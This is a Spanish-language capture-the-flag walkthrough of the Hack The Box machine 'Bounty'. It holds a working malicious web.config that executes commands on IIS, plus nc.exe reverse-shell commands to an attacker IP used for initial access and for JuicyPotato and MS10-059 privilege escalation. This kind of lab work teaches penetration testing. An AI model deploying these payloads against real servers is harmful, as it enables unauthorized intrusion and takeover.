Posts Hackthebox Bounty Writeup (OSCP Style)
Post
Cancel

Hackthebox Bounty Writeup (OSCP Style)

Información de la máquina.

ContenidoDescripción
OS:enter image description here
Dificultad:Facil
Puntos:20
Lanzamiento:16/Junio/2018
IP:10.10.10.93
Primera sangre de usuario:no0ne
Primera sangre de system:no0ne

Enumeración.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts bounty.htb -Pn --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-01 10:54 CDT
Nmap scan report for bounty.htb (10.10.10.93)
Host is up (0.19s latency).
Not shown: 65534 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

Una vez identificado los puertos abiertos, lanzaré scripts de enumeración para detectar los servicios y versiones de los puertos descubiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ nmap -sCV -p80 -oN targeted -Pn bounty.htb
Nmap scan report for bounty.htb (10.10.10.93)
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 31 00:29:33 2020 -- 1 IP address (1 host up) scanned in 11.76 seconds

El escaneo determino lo siguiente:

  • Puerto 80 HTTP con un servicio Microsoft IIS 7.5.

Enumeración HTTP.

Abro mi navegador y me dirijo a la pagina web.

Nos encontramos con una simple imagen del mago merlín.

Intente probar esteganografía para la imagen, pero la imagen no tenia información útil.

Como siempre reviso el código fuente para ver si nos encontramos con algo interesante.

Nuevamente no encontramos nada.

Mi siguiente paso es realizar una enumeración de directorios con la herramienta wfuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
intrusionz3r0@kali:~$ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirb/common.txt http://bounty.htb/FUZZ                                

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://bounty.htb/FUZZ
Total requests: 4614

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                  
===================================================================

000000001:   200        31 L     53 W     630 Ch      ""                                                                                                                       
000000493:   301        1 L      10 W     155 Ch      "aspnet_client"                                                                                                          
000004211:   301        1 L      10 W     155 Ch      "uploadedfiles"                                                                                                          

Total time: 13.57369
Processed Requests: 4614
Filtered Requests: 4611
Requests/sec.: 339.9222

La ruta que mas destaca es uploadedfiles.

Cuando me dirijo a esta me encuentro con un código de estado 403.

Así que pasaremos de esto por el momento.

Nuevamente realizare otra enumeración con wfuzz pero con la diferencia de que agregare la extensión aspx para cada palabra del diccionario. (Esto lo hago debido a que los archivos que puede interpretar un IIS son los archivos con extensión asp y aspx).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
intrusionz3r0@kali:~$ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirb/common.txt http://bounty.htb/FUZZ.aspx

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://bounty.htb/FUZZ.aspx
Total requests: 4614

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                  
===================================================================

000004129:   200        21 L     58 W     941 Ch      "transfer"                                                                                                               

Total time: 16.23883
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 284.1337

La ruta que mas destaca es: transfer.aspx

Rápidamente me voy a la ruta transfer.aspx y me encuentro con lo siguiente:

Nos encontramos con una funcionalidad que nos permite subir archivos al servidor y es muy probable de que se almacenen en la ruta uploadedfiles.

Tomo una imagen cualquiera y la subo para comprobar mi teoría.

Bien, ahora que sabemos de que las imágenes de suben a esa ruta, lo que podemos hacer subir una shell en aspx para poder ejecutar comandos a nivel de sistema.

Me copio la shell aspx que viene incluida en kali linux.

1
intrusionz3r0@kali:~$ cp /usr/share/webshells/aspx/cmdasp.aspx .

Me voy a transfer.aspx y subo la shell.

Fuck!! al parecer no podemos subir nuestra shell, por lo que probaremos cambiándole la extensión a .png y subiendo el archivo nuevamente.

Como se puede observar el archivo cmdasp.png se subió correctamente, lo que me hace pensar de que hay una restricción para los archivos aspx.

Entonces lo que debemos hacer es buscar la manera de burlar al servidor, una de ellas es intentar agregar un byte nulo al archivo.

Ejemplo: cmdasp.aspx%00.png

Cuando la imagen se suba al servidor este ignorara lo que hay delante del byte nulo logrando así el bypass de la restricción de archivos aspx.

(Esto lo aprendí de 0xdf)

Al parecer se logro subirse nuestra shell, pero cuando intento acceder al archivo.

Vemos que no se puede acceder al recurso porque no pudo ser encontrado.

Fuzzing de extensiones.

Así que mi siguiente movimiento sera fuzzear extensiones utilizando burpsuite.

Creo un diccionario con posibles extensiones.

Diccionario.txt

1
2
3
4
5
6
7
8
9
10
11
png
jpg
config
html
asp
aspx
php
php5
xml
htm
exe

Subo cualquier imagen e intercepto la petición con burpsuite, después borro todos los payload y agrego un payload en la extensión del archivo. (como se ve en la imagen de abajo)

Cargo el diccionario con las extensiones.

Creo un expresión regular para solo mostrarme los archivos que se logren subir al servidor. (solo selecciona la parte que te interesa, ya burpsuite te genera la expresión regular automáticamente)

Comienzo el ataque.

Y obtenemos las extensiones de los archivos que podemos subir al servidor. El que mas me llamo la atención fue el .config esto debido a que existe una forma de ejecutar comandos a nivel de sistema utilizando este tipo de archivos.

¿Que es un archivo web.config? Es un archivo básico de configuración para toda aplicación web asp.net basada en Windows. Mediante un etiquetado XML, se configura todo lo referente a seguridad, sesiones, compilación , variables de sistema, entre otras.

Lo que significa que nosotros podemos crear un archivo web.config que dentro de este se ejecute una serie de instrucciones para que cuando se interpreten el archivo logremos ejecutar comando a nivel de sistema.

Para lograr esto crearemos el archivo web.config con la siguiente estructura:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
   <appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("ping 10.10.14.28")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>

Para esta primera prueba haremos un ping a mi máquina.

Subo el archivo y si me voy a http://bounty.htb/uploadedfiles/web.config

Vemos que efectivamente recibimos la traza ICMP.

Ahora me levantaré un servidor con samba compartiendo el nc.exe para mandarme una shell directamente desde mi servidor utilizando el archivo de configuración web.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
   <appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("\\10.10.14.28\smbFolder\nc.exe -e cmd 10.10.14.28 1234")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>

Por ultimo dejo mi netcat a la escucha de cualquier conexión entrante.

Y obtenemos una shell como el usuario merlin. Una vez dentro de la máquina comienzo a enumerar el sistema para buscar posibles vías para escalar a administrador.

Escalación de privilegios con Juicypotato.exe

Cuando ejecuto el comando whoami /priv.

Vemos que tenemos el privilegio de SeImpersonatePrivilege.

SeImpersonatePrivilege: Es una configuración de seguridad de Windows que permite “Suplantar a un cliente tras la autenticación”. Esto significa que cuando a un usuario se le permite este privilegio todos los programas y procesos que corran bajo un cliente pueda ser suplantado por el usuario que tenga este permiso.

Lo que significa que nosotros podemos aprovecharnos de esto para escalar al usuario administrador.

Para ello nos descargaremos el siguiente exploit: JuicyPotato.exe.

Después nos montamos un servidor con samba que comparta el JuicyPotato.exe y nc.exe.

Dejo mi netcat a la escucha de cualquier conexión entrante y descargo los dos archivos en una ruta que tengamos permisos de escritura, en este caso en el escritorio del usuario merlín.

Una vez descargados los archivos ejecutamos el exploit.

1
c:\Users\merlin\Desktop>JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a " /C c:\Users\merlin\Desktop\nc.exe -e cmd 10.10.14.28 1234" -t *

Escalación de privilegios con Chimichurri.exe (MS10-059)

Si revisamos la información del sistema operativo podemos observar de que nos encontramos nuevamente con un sistema operativo muy antiguo, por lo que es muy probable de que este asociado a alguna vulnerabilidad critica.

Nuevamente haré uso de la herramienta Windows-Exploit-Suggester para encontrar algún exploit critico en esta máquina.

Paso la salida del comando systeminfo a mi máquina y ejecuto la herramienta.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
./windows-exploit-suggester.py --database 2020-08-25-mssb.xls --systeminfo sysinfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*] 
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

Nos encontramos con la famosa vulnerabilidad MS10-059.

Para explotar la vulnerabilidad haremos uso del siguiente exploit: Chimichurri.exe.

Lo pasamos a la máquina, dejamos nuestro netcat a la escucha de cualquier conexión entrante y ejecutamos el exploit.

1
c:\Users\merlin\Desktop>Chimichurri.exe 10.10.14.28 1234

¡¡Somos Administradores!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.